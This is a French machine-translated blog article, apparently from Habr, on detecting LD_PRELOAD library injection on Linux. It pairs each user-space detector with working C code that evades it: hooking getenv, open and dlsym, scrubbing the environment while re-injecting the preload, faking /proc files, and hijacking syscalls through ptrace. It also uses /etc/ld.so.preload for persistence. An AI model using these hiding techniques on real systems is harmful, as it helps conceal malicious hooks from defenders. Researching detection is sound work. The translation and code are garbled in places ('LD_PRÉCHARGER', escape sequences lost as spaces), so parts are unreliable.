Recherche de LD_PRELOAD

Cette note a été rédigée en 2014, mais je viens de subir une répression sur Habré et elle n’a pas vu le jour. Pendant l'interdiction, je l'avais oublié, mais maintenant je l'ai retrouvé dans les brouillons. J'ai pensé à le supprimer, mais cela sera peut-être utile à quelqu'un.

Recherche de LD_PRELOAD

En général, une petite lecture d'administrateur du vendredi sur le thème de la recherche de "inclus" LD_PRÉCHARGER.

1. Une petite digression pour ceux qui ne sont pas familiers avec la substitution de fonctions

Le reste peut aller directement à p.2.

Commençons par un exemple classique :

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Nous compilons sans aucun indicateur :

$ gcc ./ld_rand.c -o ld_rand

Et, comme prévu, nous obtenons 5 nombres aléatoires inférieurs à 100 :

$ ./ld_rand
53
93
48
57
20

Mais imaginons que nous n’ayons pas le code source du programme, mais que nous devions changer le comportement.

Créons notre propre bibliothèque avec notre propre prototype de fonction, par exemple :

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Et maintenant, notre choix aléatoire est tout à fait prévisible :

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Cette astuce semble encore plus impressionnante si nous exportons d'abord notre bibliothèque via

$ export LD_PRELOAD=$PWD/ld_rand.so

ou nous le ferons en premier

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

puis exécutez le programme comme d'habitude. Nous n'avons pas modifié une seule ligne de code dans le programme lui-même, mais son comportement dépend désormais d'une petite fonction de notre bibliothèque. De plus, au moment de la rédaction du programme, le rand n'existait même pas.

Qu'est-ce qui a poussé notre programme à utiliser un faux rand? Allons-y étape par étape.
Lorsqu'une application démarre, certaines bibliothèques sont chargées et contiennent les fonctions nécessaires au programme. Nous pouvons les visualiser en utilisant ldd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Cette liste peut varier selon la version du système d'exploitation, mais il doit y avoir un fichier libc.so. C'est cette bibliothèque qui fournit les appels système et les fonctions de base telles que ouvert, malloc, printf etc. Notre rand est également parmi eux. Assurons-nous de ceci :

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Voyons si l'ensemble des bibliothèques change lorsqu'elles sont utilisées LD_PRÉCHARGER

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Il s'avère que la variable est définie LD_PRÉCHARGER nous oblige à charger ld_rand.so même si le programme lui-même ne l'exige pas. Et puisque notre fonction "rand" charges plus tôt que rand à partir de libc.so, puis elle fait la loi.

Ok, nous avons réussi à remplacer la fonction native, mais comment pouvons-nous nous assurer que ses fonctionnalités sont préservées et que certaines actions sont ajoutées. Modifions notre aléatoire :

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Ici, comme notre "ajout", nous n'imprimons qu'une seule ligne de texte, après quoi nous créons un pointeur vers la fonction d'origine rand. Pour obtenir l'adresse de cette fonction, nous avons besoin dlsym est une fonction de la bibliothèque libdlqui trouvera notre rand dans une pile de bibliothèques dynamiques. Après quoi nous appellerons cette fonction et renverrons sa valeur. En conséquence, nous devrons ajouter "-ldl" lors du montage :

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

Et notre programme utilise "natif" rand, après avoir déjà accompli des actions obscènes.

2. La douleur de la recherche

Connaissant une menace potentielle, nous voulons la détecter pré-charge Cela a été exécuté. Il est clair que la meilleure façon de le détecter est de l'insérer dans le noyau, mais j'étais intéressé par les options de détection dans l'espace utilisateur.

Ensuite, les solutions de détection et de réfutation viendront par paires.

2.1. Commençons simplement

Comme mentionné précédemment, vous pouvez spécifier la bibliothèque à charger à l'aide de la variable LD_PRÉCHARGER ou en l'écrivant dans un fichier /etc/ld.so.preload. Créons deux détecteurs simples.

La première consiste à vérifier la variable d'environnement définie :

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

La seconde consiste à vérifier si le fichier est ouvert :

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Chargeons les bibliothèques :

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Ici et ci-dessous, [+] indique une détection réussie.
En conséquence, [-] signifie contourner la détection.

Quelle est l’efficacité d’un tel détecteur ? Jetons d'abord un coup d'œil à la variable d'environnement :

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

De même, on se débarrasse du chèque ouvert:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Oui, d'autres moyens d'accéder au fichier peuvent être utilisés ici, tels que : open64, état etc., mais, en fait, les mêmes 5 à 10 lignes de code sont nécessaires pour les tromper.

2.2. Allons-nous en

Ci-dessus, nous avons utilisé getenv() pour obtenir la valeur LD_PRÉCHARGER, mais il existe également un moyen plus « bas niveau » d'accéder à ENV-variables. Nous n'utiliserons pas de fonctions intermédiaires, mais ferons référence au tableau **environ, qui stocke une copie de l'environnement :

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Puisque nous lisons ici des données directement depuis la mémoire, un tel appel ne peut pas être intercepté, et notre undetect_getenv il ne gêne plus l'identification de l'intrusion.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Il semblerait que ce problème soit résolu ? Cela ne fait que commencer.

Après le démarrage du programme, la valeur de la variable LD_PRÉCHARGER les pirates n'en ont plus besoin en mémoire, c'est-à-dire qu'ils peuvent le lire et le supprimer avant d'exécuter des instructions. Bien sûr, éditer un tableau en mémoire est, au minimum, un mauvais style de programmation, mais comment cela peut-il arrêter quelqu'un qui de toute façon ne nous souhaite pas vraiment du bien ?

Pour ce faire, nous devons créer notre propre fausse fonction init (), dans lequel nous interceptons les fichiers installés LD_PRÉCHARGER et transmettez-le à notre éditeur de liens :

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Nous exécutons et vérifions :

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/soi/

Cependant, la mémoire n'est pas le dernier endroit où l'on peut trouver une substitution LD_PRÉCHARGER, il y a aussi / proc /. Commençons par l'évidence /proc/{PID}/environ.

En fait, il existe une solution universelle pour non-détecter **environ и /proc/soi/environnement. Le problème est le « mauvais » comportement non défini (env).

bonne option

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Mais imaginons que nous ne l'ayons pas trouvé et /proc/soi/environnement contient des données « problématiques ».

Essayons d'abord avec notre "déguisement" précédent :

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

cat utilise la même chose pour ouvrir le fichier ouvrir(), donc la solution est similaire à ce qui a déjà été fait dans la section 2.1, mais maintenant nous créons un fichier temporaire où nous copions les valeurs de la vraie mémoire sans lignes contenant LD_PRÉCHARGER.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Et cette étape est franchie :

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Le prochain endroit évident est /proc/self/maps. Cela ne sert à rien de s’y attarder. La solution est absolument identique à la précédente : copier les données du fichier moins les lignes entre libc.so и ld.so.

2.4. Option de Chokepoint

J'ai particulièrement aimé cette solution pour sa simplicité. On compare les adresses des fonctions chargées directement depuis libc, et les adresses « SUIVANT ».

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Chargement de la bibliothèque avec interception "ouvrir()" et vérifie:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

La réfutation s'est avérée encore plus simple :

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Appels système

Il semblerait que ce soit tout, mais nous pataugerons encore. Si nous dirigeons l'appel système directement vers le noyau, cela contournera tout le processus d'interception. La solution ci-dessous dépend bien entendu de l’architecture (x86_64). Essayons de l'implémenter pour détecter une ouverture ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Et ce problème a une solution. Extrait man'UN:

ptrace est un outil qui permet à un processus parent d'observer et de contrôler la progression d'un autre processus, de visualiser et de modifier ses données et ses registres. Généralement, cette fonction est utilisée pour créer des points d'arrêt dans un programme de débogage et surveiller les appels système.

Le processus parent peut commencer le traçage en appelant d'abord fork(2), puis le processus enfant résultant peut exécuter PTRACE_TRACEME, suivi (généralement) de l'exécution de exec(3). D'un autre côté, un processus parent peut commencer à déboguer un processus existant à l'aide de PTRACE_ATTACH.

Lors du traçage, le processus enfant s'arrête à chaque fois qu'il reçoit un signal, même si le signal est ignoré. (L'exception est SIGKILL, qui fonctionne normalement.) Le processus parent en sera informé en appelant wait(2), après quoi il pourra afficher et modifier le contenu du processus enfant avant qu'il ne démarre. Le processus parent permet alors à l'enfant de continuer à courir, en ignorant dans certains cas le signal qui lui est envoyé ou en envoyant un autre signal à la place).

Ainsi, la solution consiste à surveiller le processus, à l'arrêter avant chaque appel système et, si nécessaire, à rediriger le thread vers une fonction hook.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

vérifier:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Merci beaucoup

Charles Hubain
Goulot d'étouffement
ValdikSS
Philippe Teuwen
derhass

, dont les articles, sources et commentaires ont fait bien plus que moi pour faire apparaître cette note ici.

Source: habr.com

Ajouter un commentaire